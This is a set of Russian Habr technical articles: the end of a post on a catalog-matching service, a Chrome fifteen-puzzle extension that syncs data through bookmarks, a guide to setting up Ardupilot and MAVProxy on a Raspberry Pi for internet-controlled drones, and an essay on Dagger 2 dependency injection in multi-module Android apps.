За три месяца, которые мы в продакшене, количество товаров в наличии для оптовых клиентов выросло с 70 тысяч до 230 тысяч, количество товаров на сайте — с 60 тысяч до 140 тысяч. Сайт всегда запаздывает, потому что ему нужны характеристики, картинки, описания товаров. На агрегатор мы выгружаем 106 тысяч предложений вместо 40 тысяч три месяца назад. Количество человек, работающих с каталогом, не изменилось.
Мы работаем с 425 поставщиками, это число выросло почти в два раза за три месяца. Отслеживаем цены более тысячи конкурентов. Ну как отслеживаем — система для парсинга у нас есть, но в большинстве случаев мы берем готовые данные у тех, кто их регулярно предоставляет.
Про продажи, к сожалению, не могу рассказать, у меня самого нет надежных данных. Спрос сезонный, и напрямую сравнить месяц к предыдущему месяцу нельзя. А за год произошло слишком много всего, чтобы из всех факторов выделить влияние нашей системы. Очень и очень условно, плюс-минус километр, рост каталога, более гибкие и конкурентные цены и связанный с этим рост продаж уже окупили разработку и внедрение.
Еще один итог — получился проект, по сути не связанный с инфраструктурой конкретного магазина, и из него можно сделать публичный сервис. Так было задумано с самого начала, и этот план почти сработал. Коробочного решения еще, к сожалению, не получилось. Чтобы предлагать проект как сервис, где можно зарегистрироваться, поставить галочку “я согласен”, и который работает “как есть”, без адаптации к клиенту, нужно переработать интерфейс, добавить гибкости и создать вики. А еще сделать инфраструктуру легко масштабируемой и устранить единую точку отказа. Сейчас у нас из средств обеспечения надежности есть только регулярные бекапы. Как энтерпрайз решение, думаю, мы уже готовы решать задачи бизнеса. Дело за малым — найти бизнес.
Кстати, одного стороннего клиента мы уже привлекли, имея самый базовый функционал. Ребятам нужен был инструмент по сопоставлению товаров, а неудобства, связанные с активной разработкой, их не испугали.
[Демо сервиса](https://demo.catalog.app/). | https://habr.com/ru/post/456604/ | null | ru | null |
# App Puzzle15. Дорога в Питер за android-фоном
Совсем недавно в славном городе на Неве проводился конкурс ребятами из местного GTUG, анонс конкурса ютится в [этом](http://habrahabr.ru/blogs/google_chrome/105615/) топике. О самом конкурсе, проведении его и результатах будет подробно написано в отчёте от [arkady112](http://habrahabr.ru/users/arkady112/). Я же хочу рассказать немного о приложении Puzzle15, которое получило одну из 3х наминаций и вместе с ней HTC WildFire.
Под катом небольшой обзор и пример реализации некоторых функций…
Как, надеюсь, понятно из названия Puzzle15 — это всеми нами любимые пятнашки, так сказать «портированные» с игровой полки в браузер chrome.
К основным особенностям приложения я отнесу:
• game for fun
• социальность
• синхронизация данных
#### Game for fun
Что касается первой особенности, то тут немного сложнее чем кажется. Да, игры это хорошо, это весело. Конечно, пазлы, как и другие интеллектуальные игры, помогают нашему мозгу, если так можно выразится, «не заплыть жирком». Но за всем этим развлечением стоит забавный факт- **ровно половина комбинаций костяшек просто-напросто не может быть собранной а это половина от 15!**
#### Социальность
Собирать пятнашки можно бесконечно долго, причём одному, а это не всегда весело! На помощь к нам приходит в этом случае [twitter](http://twitter.com).
Теперь мы можем поделиться своим шаблоном пятнашек со всеми обитателями этого чудного сервиса буквально одним нажатием кнопки.
В итоге мы сообщим остальным птичкам свой шаблон.
А если пройтись по хэшу #Puzzle15, то можно будет загрузить разнообразные шаблоны других пользователей себе.
#### Синхронизация данных
Это, пожалуй, самое интересное было для меня в процессе создания приложения, да и отличало моё приложение от остальных представленных на демо фесте.
*Уточню, синхронизация не приложения, а именно данных, используемых в нём.*
Так как готового решения данной проблемы я не нашёл (может плохо искал), то был придуман «самокатик».
Использовал умение браузера самостоятельно синхронизировать закладки. Моей задачей было создать закладку, записать туда необходимые данные (писал в json) и по некоторым действиям в приложении обновлять её.
Остальное делает уже сам браузер (синхронизирует в ваши G-docs).
Ключевые моменты по работе с закладками в приложении
```
chrome.bookmarks.getChildren('1', function(tree) {
if (!localStorage['FlagBookmarks']){
localStorage['IndexBookmarks']="";
localStorage['IDbookmarks']="";
}
tree.forEach(function( item, index) {
if (item.title=="Puzzle15") {
localStorage['FlagBookmarks']=1; // наличие в системе закладки для синхронизации данных
localStorage['IndexBookmarks']=item.index;
localStorage['IDbookmarks']=item.id;
}
});
if (!localStorage['FlagBookmarks']) { // если нету закладок - создаю одну с шаблоном по умолчанию
chrome.bookmarks.create({
'parentId' : '1', // other
'title' : 'Puzzle15',
'url' : 'http://puzzle-15.blogspot.com/{"id":["100"],"pattern";["1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,0"],"added_on":["02.01 19:86"],"count":["0"]}'
}, function(){
localStorage['FlagBookmarks']=1;
console.log("create bookmark for sync (id="+localStorage['IDbookmarks']+")")
})
}
else if (localStorage['FlagBookmarks']==1){ // проверяю, есть ли закладка (создана ли), если есть, то создаю объект JSON_bookmark и передаю в него шаблоны
console.log("bookmark exists");
var JSON_bookmark={};
chrome.bookmarks.getChildren('1', function(tree) {
tree.forEach(function( item, index) {
if (item.title=="Puzzle15"){
temp_bookmark = item.url;
temp=temp_bookmark.slice(30); // вырезаю лишний хлам с закладки: http://puzzle-15.blogspot.com/
JSON_bookmark=JSON.parse(unescape(temp)); // перевод из escape-последовательности в "нормальный" вид
}
})
// А дальше уже идёт работа с объектом JSON_bookmark, перенос его в web sql db и прочие радости
// ...
})
}
})
```
код не идеален, признаю, но он работоспособен и отражает основные механизмы синхронизации данных
#### Что осталось за бортом
Кроме всего прочего в проекте принимали участие web sql db (как это реализовано в браузере я [писал](http://habrahabr.ru/blogs/google_chrome/92677/) раньше)
Так же используются уведомления простые и расширенные (HTML)
Если вы не используете браузер Chrome то можете просто посмотреть на всё это безобразие в следующем демо-видео
А если всё же захотели попробовать «размять мозги», милости прошу [Puzzle15](http://dl.dropbox.com/u/1587336/puzzle15.crx)
Хронологию разработки можно глянуть тут<http://puzzle-15.blogspot.com/>
Рад буду ответить на возникшие вопросы, конечно же в перерывах между изучением своего нового робота (HTC WildFire).
Спасибо за внимание.
**PS**
мероприятие было замечательное, организаторы ребята молодцы, девушка — прелестна ;)
Жалко что нет в Минске своего gtug'a (но мы это исправим ;) )
**upd.**
 | https://habr.com/ru/post/107229/ | null | ru | null |
# DIY автономный дрон с управлением через интернет. Часть 2 про ПО
Это продолжение повествования об автономном дроне. В [первой части](https://habr.com/post/414121/) говорилось про hardware, в этой речь пойдет про software. Для начала небольшой ликбез про взаимодействие оператора с коптером. Вот типичная схема у большинства самосборных дронов:
А вот схема у продвинутых дронов:
Так работают игрушечные дроны, которые управляются со смартфона:
Управлять дроном через интернет можно так (при наличии сим-карты со статическим IP-адресом):
Или так, если IP-адрес динамический:
Для надежности и резервирования каналов связи последний вариант можно развить до такого состояния:
Далее я буду описывать процесс настройки полетного контроллера Emlid Navio 2 и микрокомпьютера Raspberry Pi 3.
Но, с небольшими модификациями, эти настройки подойдут для любого полетного контроллера, с которым можно общаться по протоколу [MAVLink](https://mavlink.io/en/) в связке с любым компьютером на ОС семейства Linux.
**Важно! Настройку необходимо делать с отключенным питанием на регуляторах оборотов, чтобы случайно не запустились двигатели.**
### ПО для управления дроном на ПК и планшетах
Для управления БПЛА используются специальные программы GCS (Ground Control Station). Далее по тексту я буду использовать эту аббревиатуру. Мне по душе пришлась [QGroundControl](http://qgroundcontrol.com/), мультиплатформенная (Windows, Linux, MacOS, iOS, Android) GCS с открытым исходным кодом, которая стала частью проекта [DroneCode](https://www.dronecode.org/). Но есть и альтернативы, бесплатные и коммерческие: [APM Planner](http://ardupilot.org/planner2/index.html), [MissionPlanner](http://ardupilot.org/planner/index.html), [UgCS](https://www.ugcs.com/), [LibrePilot](http://opwiki.readthedocs.io/en/latest/user_manual/gcs_install_lp.html), [OpenPilot](http://opwiki.readthedocs.io/en/latest/user_manual/gcs_install_op.html), [Tower](https://github.com/DroidPlanner/Tower) (DroidPlanner) для Android, [MAVPilot](https://itunes.apple.com/ru/app/mav-pilot/id649233096?mt=8) (iOS), [SidePilot](http://sidepilot.net/) (iOS). А также консольная [MAVProxy](http://ardupilot.github.io/MAVProxy/html/index.html).
### Установка образа ОС на SD-карту
Для нормальной работы автопилота крайне рекомендуется использовать “быстрые” SD-карты (класс 10). Медленные карты памяти не успевают сохранять логи автопилота даже на небольшой частоте, в результате чего они получаются кривыми или вообще не пишутся. Свидетельством этого может быть ошибка “*No IO heartbeat*”, которую можно наблюдать в консоли MAVLink (как смотреть консоль MAVLink описано ниже). При покупке смотрите на возможность писать 4К видео: скорее всего это будет быстрая SD. К сожалению, я об этом узнал после падения дрона, когда нужно было проанализировать логи и узнать причину. Логи оказались нечитаемы для нескольких GCS. Причина отключения моторов в полете оказалась банальна: я забыл подправить в настройках значение минимального напряжения на аккумуляторе для срабатывания failsafe.
Итак, скачиваем готовый образ Raspbian Stretch с предустановленными Ardupilot и ROS от Emlid со [страницы оригинальной инструкции](https://docs.emlid.com/navio2/common/ardupilot/configuring-raspberry-pi/). И пишем его на карту памяти с помощью [Etcher](https://etcher.io/) или любой подобной программы.
Чтобы сразу после включения Raspberry соединялся с вашей WiFi сетью, необходимо отредактировать файл *wpa\_supplicant.conf* в корне SD-карты. В нем должны быть такие строки:
```
network={
ssid="название_wifi_сети"
psk="пароль_wifi_сети"
}
```
Можно настроить и без WiFi, подключив одноплатник к роутеру Ethernet-кабелем. Теперь вынимаем SD-карту из ПК, вставляем ее в Raspberry и включаем питание. Через полминуты он должен появиться в админке роутера на странице подключенных устройств (хостнейм *navio*).
### Обновление дистрибутива и установка необходимых пакетов
Открываем SSH-клиент и соединяемся с Raspberry (локальный IP-адрес navio вместо *RASPBERRY\_IP\_ADDRESS*):
```
ssh pi@RASPBERRY_IP_ADDRESS
```
Стандартный пароль: *raspberry*. В первую очередь необходимо расширить файловую систему ОС на весь объем SD-карты:
```
sudo raspi-config --expand-rootfs
```
и перегрузиться:
```
sudo reboot
```
После перезагрузки, соединяемся еще раз и обновляем дистрибутив:
```
sudo apt-get update && sudo apt-get dist-upgrade -y
```
Устанавливаем дополнительные пакеты:
```
sudo apt-get install autoconf automake libtool pkg-config libgstreamer1.0-dev libgstreamer-plugins-base1.0-dev libraspberrypi-dev gstreamer1.0-tools gstreamer1.0-plugins-good gstreamer1.0-plugins-bad
```
и компилируем обертку [gst-rpicamsrc](https://github.com/thaytan/gst-rpicamsrc) для [gstreamer](https://gstreamer.freedesktop.org/) и родной камеры Raspicam:
```
git clone https://github.com/thaytan/gst-rpicamsrc.git rpicamsrc
cd rpicamsrc
chmod +x autogen.sh
./autogen.sh --prefix=/usr --libdir=/usr/lib/arm-linux-gnueabihf/
make
sudo make install
```
Проверим работает ли камера (создается видеофайл test.h264):
```
gst-launch-1.0 rpicamsrc bitrate=1000000 ! filesink location=test.h264
```
Если gstreamer запустился, подождите пару секунд, чтобы записалось видео. Прервать процесс можно клавишами *Ctrl+C*. Если видео есть, значит камера работает.
### Настройка и запуск Ardupilot
Релизы новых версий Ardupilot немного запаздывают в сборке от Emlid. Если необходимый функционал доступен в самой последней версии, то установить ее из исходников можно [по этой инструкции](https://docs.emlid.com/navio2/common/ardupilot/building-from-sources/).
Разработчики Navio добавили в свою сборку простую и удобную [утилиту Emlid tool](https://docs.emlid.com/navio2/common/dev/emlidtool/) для проверки датчиков и настройки Ardupilot. Сначала проверим, видит ли Raspberry контроллер Navio:
```
emlidtool info
```
Если в ответ на эту команду выдает что-то вроде:
```
Vendor: Emlid Limited
Product: Navio 2
Issue: Emlid 2018-06-05 831f3b08594f2da17dccae980a2e3659115ef71f
Kernel: 4.14.34-emlid-v7+
RCIO firmware: 0xcaec2284
```
значит видит. Проверим состояние датчиков (покажет список и состояние):
```
emlidtool test
```
и драйвера ШИМ-контроллера в ядре Linux:
```
cat /sys/kernel/rcio/status/alive
```
0 = не работает, 1 = работает.
Прошивка ШИМ-контроллера обновляется так:
```
sudo emlidtool rcio update
```
Теперь настроим Ardupilot:
```
sudo emlidtool ardupilot
```
В терминале откроется текстовый GUI с пошаговыми менюшками. Выбираем copter последней версии, тип *arducopter*, автозапуск при включении (*On boot: enable*), старт после настройки (*Ardupilot: start*).
Выходим через пункт меню *Quit*.
Проверим запустился ли Ardupilot:
```
sudo systemctl status arducopter
```
Обратите внимание, файл запуска в systemd называется arducopter, так как настроен был вариант *copter*.
Теперь нужно настроить Ardupilot так, чтобы он отправлял нам телеметрию. Для этого отредактируем файл конфигурации:
```
sudo nano /etc/default/arducopter
```
В нем должны быть такие строки:
```
TELEM1="-A udp:127.0.0.1:14550"
ARDUPILOT_OPTS="$TELEM1"
```
Сохраняем файл (*Ctrl+X*, затем *Y*) и перезапускаем Ardupilot:
```
sudo systemctl daemon-reload
sudo systemctl restart arducopter
```
Проверить состояние процесса Ardupilot можно такой командой:
```
sudo systemctl status arducopter
```
С такими настройками Ardupilot будет транслировать телеметрию (пакеты [MAVLink](https://mavlink.io/en/)) в локальный UDP-порт 14550. Далее, скрипт [MAVProxy](http://ardupilot.github.io/MAVProxy/html/index.html) (описание ниже) будет забирать оттуда телеметрию и передавать в GCS или скрипт, а также отправлять в обратном направлении пакеты с командами.
Вместо локального адреса и порта можно записать IP-адрес ПК или планшета в локальной сети и пакеты будут транслироваться сразу туда.
Однако, такой подход оправдан, если данные телеметрии больше нигде не используются и у устройства с GCS статический IP адрес. Иначе каждый раз в настройках Ardupilot придется прописывать новый. Чтобы общаться с автопилотом по TCP могли одновременно несколько GCS с динамическими адресами и еще какие-нибудь скрипты на самом бортовом компьютере, удобнее использовать MAVProxy.
Этот скрипт (написан на Python) может получать пакеты MAVLink на локальный UDP-адрес и ретранслировать их на несколько локальных или удаленных IP-адресов как по UDP, так и по TCP. Пакеты передаются в обоих направлениях Ardupilot ⇔ GCS. Кроме того, MAVProxy представляет из себя полноценную GCS, но с текстовым интерфейсом.
### MAVProxy
MAVProxy уже установлен в образе Navio. Его также можно [установить](http://ardupilot.github.io/MAVProxy/html/getting_started/download_and_installation.html) и на ПК (Windows, Linux, MacOS) для дальнейшего общения с автопилотом в консольном режиме.
Убедившись, что Ardupilot работает, запустим на Raspberry скрипт MAVProxy такой командой:
```
mavproxy.py --master=udp:127.0.0.1:14550
```
Параметр *--master=udp:127.0.0.1:14550* задает для скрипта источник данных. Это локальный UDP-порт, который был прописан в файле конфигурации Ardupilot. После запуска команды, MAVProxy соединиться с этим портом и выведет на экран сообщения автопилота, примерно как у меня:
```
pi@navio:~ $ mavproxy.py --master=udp:127.0.0.1:14550
Connect udp:127.0.0.1:14550 source_system=255
Failed to load module: No module named adsb. Use 'set moddebug 3' in the MAVProxy console to enable traceback
Log Directory:
Telemetry log: mav.tlog
Waiting for heartbeat from 127.0.0.1:14550
MAV> online system 1
STABILIZE> Mode STABILIZE
fence breach
GPS lock at 0 meters
APM: APM:Copter V3.5.5 (88a1ecdd)
APM: Frame: UNKNOWN
APM: PreArm: RC Roll not configured
APM: PreArm: Compass not calibrated
APM: PreArm: 3D Accel calibration needed
APM: PreArm: check firmware or FRAME_CLASS
APM: PreArm: Throttle below Failsafe
```
Так как автопилот еще не откалиброван и до конца не настроен, то об этом красноречиво говорят и сообщения. В этом режиме можно общаться с автопилотом посредством команд. Если бы дрон был полностью настроен, то вот такая последовательность двух команд привела бы к старту двигателей и взлету дрона на высоту 20 м:
```
arm throttle
takeoff 20
```
Не откалиброванный автопилот не полетит, а покажет сообщения с причинами, почему он этого сделать не сможет.
### Установка связи с дроном в локальной сети
Остановим скрипт (*Ctrl+C*) и снова запустим его в таком виде:
```
mavproxy.py --master=udp:127.0.0.1:14550 --out=tcpin:0.0.0.0:5762
```
С дополнительным параметром *--out=tcpin:0.0.0.0:5762* MAVProxy будет слушать порт 5762 на входящие TCP соединения от GCS. Как только GCS соединиться, пакеты с данными начнут перемещаться между дроном и GCS. Попробуем подключиться с ПК:
Если подключение удалось, то GCS покажет кучу сообщений с требованием откалибровать датчики и загрузит бортовые параметры с их текущими значениями:
### Калибровка датчиков и настройка параметров автопилота
Калибровку автопилота можно сделать почти в любой GCS. В документации Ardupilot она [описана](http://ardupilot.org/copter/docs/configuring-hardware.html) во всех подробностях. Прежде всего устанавливаем тип рамы. У меня стандартная 4-х моторная компоновка, поэтому это *Quad X*.
Первый полет лучше все же сделать в ручном режиме. Подключаем и калибруем радиоуправление (приемник и передатчик).
Осталось откалибровать акселерометр и компас.
Для того, чтобы Ardupilot видел и учитывал данные с внешних датчиков, установим необходимые параметры:
Для PX4Flow ([калибровка самого датчика и обновление прошивки](http://ardupilot.org/copter/docs/common-px4flow-overview.html))
`FLOW_ENABLE = 1 (Enabled)
FLOW_ADDR = 0 (0 = вариант для стандартного адреса 0х42)`
Для лазерного высотомера VL53L0X ([инструкция](http://ardupilot.org/copter/docs/common-vl53l0x-lidar.html))
`RNGFND_TYPE = 16 (VL53L0X)
RNGFND_ORIENT = 25 (ориентация дальномера вниз)
RNGFND_ADDR = 41 (I2C-адрес в десятичном виде). Адрес датчика по-умолчанию 0x29, что в десятичном виде = 41.
RNGFND_SCALING = 1
RNGFND_MIN_CM = 5
RNGFND_MAX_CM = 120
RNGFND_GNDCLEAR = 15 (расстояние от датчика до поверхности, когда дрон стоит на земле)`
Для IRLock ([подробная инструкция](http://ardupilot.org/copter/docs/precision-landing-with-irlock.html), [wiki IR-Lock](https://irlock.readme.io/v2.0/docs))
`PLND_ENABLED = 1
PLND_TYPE = 2
PLND_BUS = 1`
Для сонара переднего обзора ([инструкция](http://ardupilot.org/copter/docs/common-rangefinder-maxbotixi2c.html))
`RNGFND2_TYPE = 2 (MaxbotixI2C sonar)
RNGFND2_ORIENT = 0 (ориентация дальномера вперед)
RNGFND2_MAX_CM = 700 (макс дальность в сантиметрах)`
Полный [список параметров](http://ardupilot.org/copter/docs/parameters.html) Ardupilot.
Теперь перезапускаем Ardupilot из меню GCS, снова соединяемся с бортом и открываем окошко MAVLink Inspector, чтобы увидеть данные с датчиков.
К сожалению, показания IR-Lock тут не видны, для анализа его работы придется взглянуть на бортовые логи. Как это сделать описано [здесь](http://ardupilot.org/copter/docs/precision-landing-with-irlock.html#flying-and-testing).
Осталось настроить параметры безопасности и можно запускать дрон:
Как настроить гироподвес и управление основной камерой в деталях я напишу в одной из следующих статей, основные моменты изложены [здесь](http://ardupilot.org/copter/docs/common-cameras-and-gimbals.html).
### Видеотрансляция
Проверим как работает видеотрансляция в сети WiFi. Такой командой можно запустить видео в TCP-порт на Raspberry с использованием родной утилиты raspivid для камеры Raspicam:
```
raspivid -t 0 -hf -fps 25 -w 640 -h 480 -o - | gst-launch-1.0 fdsrc ! h264parse ! rtph264pay config-interval=1 pt=96 ! gdppay ! tcpserversink host=0.0.0.0 port=5001
```
А вот такой командой делается тоже самое, только с использованием ранее скомпилированной обертки rpi-camsrc для gstreamer:
```
gst-launch-1.0 rpicamsrc sensor-mode=4 ! h264parse ! rtph264pay config-interval=1 pt=96 ! gdppay ! tcpserversink host=0.0.0.0 port=5001
```
В обоих случаях, трансляция в формате h264 доступна по IP-адресу Raspberry на порту 5001.
Посмотреть ее можно запустив на своем ПК такую команду (должен быть установлен [gstreamer](https://gstreamer.freedesktop.org/)), вместо *RPI\_ADDRESS* указываем адрес Raspberry в сети:
```
gst-launch-1.0 -v tcpclientsrc host=RPI_ADDRESS port=5001 ! gdpdepay ! rtph264depay ! avdec_h264 ! videoconvert ! autovideosink sync=false
```
В результате должно открыться окошко с видео.
Практически в любую GCS встроен видеоплеер, который может показывать RTSP-видеопоток. Чтобы сделать из Raspberry RTSP-сервер можно использовать консольный [плеер VLC](https://wiki.videolan.org/Documentation:User_Guide/). Установка:
```
sudo apt-get install vlc
```
Видеотрансляция запускается так:
```
raspivid -o - -t 0 -n -w 320 -h 240 -fps 25 | cvlc -vvv stream:///dev/stdin --sout '#rtp{sdp=rtsp://:8554/live}' :demux=h264
```
Видео доступно по адресу (вместо *RPI\_ADDRESS*, адрес Raspberry):
`rtsp://RPI_ADDRESS:8554/live`
Настройка GCS:
Адрес потока можно использовать для подключения нескольких плееров на разных устройствах, но, так как видеозахват и трансляция для Raspberry весьма трудоемкий процесс, то для нескольких потребителей видео лучше использовать внешний сервер (описание ниже).
### Телеметрия через интернет
Чтобы GCS могла подключиться через интернет к дрону с динамическим IP-адресом, необходим промежуточный сервер со статическим IP, на котором будет запущен скрипт MAVProxy. Для этих целей я воспользовался арендой облачного сервера у одного из известных провайдеров. Для MAVProxy подойдет самая минимальная конфигурация, но так как у меня этот же сервер будет заниматься ретрансляцией видео, то я выбрал вариант с чуть большей памятью (одно ядро и 1Гб памяти, Ubuntu 18.04). Для минимальной задержки в прохождении данных между бортом и GCS, сервер должен располагаться в максимальной географической близости к дрону и GCS.
Устанавливаем MAVProxy на сервер. Сначала зависимости:
```
sudo apt-get install python-dev python-opencv python-wxgtk3.0 python-pip python-matplotlib python-pygame python-lxml python-yaml
```
а потом и сам скрипт через PIP:
```
sudo pip install MAVProxy
```
пропишем путь:
```
echo "export PATH=$PATH:$HOME/.local/bin" >> ~/.bashrc
```
и запустим скрипт с такими параметрами:
```
mavproxy.py --master=udp:0.0.0.0:15001 --out=tcpin:0.0.0.0:15002
```
MAVProxy слушает порт 15001 на входящие пакеты телеметрии от дрона по протоколу UDP, а порт 15002 на входящее TCP-соединение от GCS.
Запустим MAVProxy на Raspberry еще с одним параметром, чтобы телеметрия транслировалась еще и на сервер (вместо *SERVER\_IP* адрес своего сервера):
```
mavproxy.py --master=udp:127.0.0.1:14550 --out=tcpin:0.0.0.0:5762 --out=udpout:SERVER_IP:15001
```
После старта скрипта на бортовом компьютере, в консоли сервера появятся сообщения от автопилота. Как уже говорилось выше, MAVProxy представляет из себя полноценную GCS с текстовым интерфейсом и в таком состоянии уже можно редактировать параметры и управлять дроном посредством [команд](http://ardupilot.github.io/MAVProxy/html/uav_configuration/index.html) в консоли сервера.
Подключим GCS на ПК или планшете к серверу. Настройки соединения такие же как и для локальной сети, только вместо IP-адреса Raspberry указываем адрес сервера и порт 15002.
Теперь можно подключить 4G USB-модем к Raspberry и оценить с какой задержкой реагирует авиагоризонт на экране.
### Видео через интернет
Для ретрансляции видео установим на сервер VLC плеер:
```
sudo apt-get install vlc
```
После установки, запустим его как ретранслятор c UDP порта 5001 в RTSP канал ***SERVER\_IP:8554/live***:
```
cvlc -vvv udp://@:5001 --sout '#rtp{sdp=rtsp://:8554/live}' :demux=h264
```
На борту запустим видеотрансляцию с камеры на сервер по UDP (вместо *SERVER\_IP* адрес сервера):
```
gst-launch-1.0 rpicamsrc bitrate=1000000 ! video/x-h264,width=640,height=480,framerate=25/1 ! h264parse ! udpsink host=SERVER_IP port=5001
```
Адрес потока теперь можно использовать как источник видео в настройках GCS или открыть в любом плеере, поддерживающим этот протокол.
Теперь можно спланировать маршрут полета и запустить дрон через интернет, предварительно его включив, например, с помощью помощника по телефону.
Очевидно, что из-за относительно большого времени путешествия видео и телеметрии по сети, такой способ вряд ли подойдет для FPV-полетов в ручном режиме между препятствиями.
Темы для последующих публикаций:
* Варианты автоматической зарядки дрона в своем скворечнике и на каком из них остановился я.
* Реализация web-based GCS с помощью MAVProxy, NodeJS, socket.io и медиасервера для управления несколькими дронами одновременно.
* Резервные каналы связи и системы спасения дронов
* Машинное зрение и лидары для избежания столкновения с препятствиями
Продолжение следует… | https://habr.com/ru/post/414587/ | null | ru | null |
# Многомодульность в Android с точки зрения архитектуры. От А до Я
Всем привет!
Не так давно мы с вами осознали, что мобильное приложение — это не просто тонкий клиент, а это действительно большое количество самой разной логики, которое нуждается в упорядочивании. Именно поэтому мы прониклись идеями Clean architecture, прочувствовали, что такое DI, научились использовать Dagger 2, и теперь с закрытыми глазами способны разбить любую фичу на слои.
Но мир не стоит на месте, и с решением старых проблем приходят новые. И имя этой новой проблемы — мономодульность. Обычно об этой проблеме узнаешь, когда время сборки улетает в космос. Именно так и начинаются многие доклады про переход на многомодульность ([раз](https://www.youtube.com/watch?v=TWLkswxjSr0&feature=youtu.be), [два](https://www.youtube.com/watch?v=pMEAD6jjbaI&feature=youtu.be)).
Но почему-то все при этом как-то забывают, что мономодульность сильно бьет не только по времени сборки, но и по вашей архитектуре. Вот ответьте на вопросы. На сколько у вас AppComponent большой? Не встречаете ли вы периодически в коде, что фича А зачем-то дергает репозиторий фичи Б, хотя вроде такого быть не должно, ну или оно должно быть как-то более верхнеуровнево? Вообще у фичи есть какой-то контракт? А как вы организовываете общение между фичами? Есть какие-то правила?
Вы чувствуете, что мы решили проблему со слоями, то есть вертикально все вроде хорошо, но вот горизонтально что-то идет не так? И просто разбиением на пакеты и контролем на ревью не решить проблему.
И контрольный вопрос для более опытных. Когда вы переезжали на многомодульность, не приходилось ли вам перелопачивать половину приложения, вечно перетаскивать код с одного модуля в другой и жить с несобирающимся проектом приличный отрезок времени?
В своей статье я хочу вам рассказать, как дошел до многомодульности именно с архитектурной точки зрения. Какие проблемы меня беспокоили, и как я их старался поэтапно решать. А в конце вас ждет алгоритм перехода с мономодульности на многомодульность без слез и боли.
Отвечая на первый вопрос, на сколько у меня большой AppComponent, я могу признаться — большой, реально большой. И это меня постоянно терзало. Как так вышло? Прежде всего это из-за такой организации DI. Именно с DI мы и начнем.
Как я делал DI раньше
---------------------
Думаю, у многих в голове сформировалась примерно такая схема зависимостей компонентов и соответствующих скоупов:
#### Что мы тут имеем
**AppComponent**, который вбирал в себя абсолютно все зависимости со скоупом *Singleton*. Думаю, этот компонент есть практически у всех.
**FeatureComponents**. Каждая фича была со своим скоупом и являлась сабкомпонентом *AppComponent* или старшей фичи.
Давайте немного остановимся на фичах. Прежде всего, что такое фича? Постараюсь своими словами. **Фича** — это логически законченный, максимально независимый модуль программы, решающий конкретную пользовательскую проблему, с четко обозначенными внешними зависимостями, и который относительно легко использовать снова в другой программе. Фичи могут быть большими и маленькими. Фичи могут содержать другие фичи. А могут также использовать или запускать другие фичи через четко обозначенные внешние зависимости. Если взять наше приложение (Kaspersky Internet Security for Android), то фичами можно считать Антивирус, Антивор, и т.д.
**ScreenComponents**. Компонент для конкретного экрана, также со своим скоупом и также являющийся сабкомпонентом от соответствующего фиче-компонента.
#### Теперь список из «почему так»
**Почему сабкомпоненты?**
В component dependencies мне не нравилось прежде всего то, что компонент может зависеть сразу от нескольких компонентов, что, как мне казалось, могло в конечном счете привести к хаосу компонентов и их зависимостей. Когда же у тебя строгая зависимость вида «один ко многим» (компонент и его сабкомпоненты), то так безопаснее и очевиднее. Кроме того сабкомпоненту по умолчанию доступны все зависимости родителя, что также вроде удобнее.
**Почему на каждую фичу свой скоуп?**
Потому что тогда исходил из соображений, что каждая фича — это какой-то свой ЖЦ, который не такой, как у других, поэтому логично создать свой скоуп. Есть еще один момент за много скупов, о котором упомяну ниже.
Так как говорим мы про Dagger 2 в разрезе Clean, то упомяну и про момент, как доставлялись зависимости. В Презентеры, Интеракторы, Репозитории и прочие вспомогательные классы зависимости поставлялись через конструктор. В тестах мы тогда через конструктор подставляем стабы или моки и спокойно тестируем наш класс.
Замыкание графа зависимостей происходит обычно в активити, фрагменты, иногда ресиверы и сервисы, в общем, в корневые места, с которых андроид может что-то стартовать. Классическая ситуация, когда для фичи создается активити, в активити стартует и живет компонент фичи, а в самой фиче есть три экрана, которые имплементированы в три фрагмента.
Итак, вроде все логично. Но как всегда жизнь вносит свои коррективы.
Жизненные проблемы
------------------
### Задача-пример
Давайте рассмотрим простой пример из нашего приложения. У нас есть фича Сканирования (Scanner) и фича Антивора (Antitheft). В обеих фичах есть заветная кнопка «Купить». Причем «Купить» — это не просто послать запрос, а еще очень много всякой разной логики, связанной с процессом покупки. Это чисто бизнес-логика с некоторыми диалогами для непосредственной покупки. То есть налицо вполне себе отдельная фича — Покупка (Purchase). Таким образом, в двух фичах нам нужно задействовать третью фичу.
С точки зрения ui и навигации имеем следующую картину. Запускается главный экран, на котором две кнопки:
По нажатию на эти кнопки мы попадаем на фичу Сканера или Антивора.
Рассмотрим фичу Сканера:
По нажатию на «Start antivirus scanning» выполняется какая-то работа по сканированию, по нажатию на «Buy me» мы как раз хотим купить, то есть дергаем фичу Покупки, ну а по «Help» — попадаем на простой экран с хэлпом.
Фича Антивора выглядит практически аналогично.
### Потенциальные решения
Как нам реализовать данный пример с точки зрения DI? Есть несколько вариантов.
#### Первый вариант
Фичу покупки выделить в ***независимый компонент***, зависящий только от *AppComponent*.
Но тогда мы сталкиваемся с проблемой: как в один класс заинжектить зависимости сразу от двух разных графов (компонентов)? Только через грязные костыли, что, конечно, такое себе.
#### Второй вариант
Фичу покупки выделяем в сабкомпонент, зависящий от AppComponent. А компоненты Сканера и Антивора сделать сабкомпонентами уже от компонента Покупки.
Но, как вы понимаете, подобных ситуаций может быть довольно много в приложениях. А это означает, что глубина зависимостей компонентов может быть воистину огромной и сложной. И подобный граф будет скорее запутывать, нежели делать ваше приложение более стройным и понятным.
#### Третий вариант
Фичу покупки выделяем **не в отдельный компонент, а в отдельный даггеровский модуль**. Далее возможны два пути.
**Первый путь**
Cтавим всем зависимостям фичи Покупки скоуп *Singleton* и подключаем к *AppComponent*.
Вариант популярный, но влечет к раздуванию *AppComponent*. В итоге он раздувается в размерах, содержит в себе все классы приложения, и вся суть использования Dagger сводится только к более удобной доставке зависимостей в классы — через поля или конструктор, а не через синглтоны. В принципе, это же и есть DI, но мы упускаем архитектурные моменты, и получается, что все знают обо всех.
Вообще в начале пути, если не знаешь, куда отнести какой-то класс, к какой фиче, то проще его сделать глобальным. Такое довольно распространено, когда работаешь с легаси и пытаешься привнести туда хоть какую-то архитектуру, плюс ты не знаешь еще хорошо весь код. И там действительно глаза разбегаются, и данные действия оправданны. Ошибка в том, что когда все более-менее вырисовывается, никто не хочет браться за этот *AppComponent*.
**Второй путь**
Это сведение всех фичей к единому скоупу, например *PerFeature*.
Тогда мы сможем даггеровский модуль Покупки подключать к необходимым компонентам легко и просто.
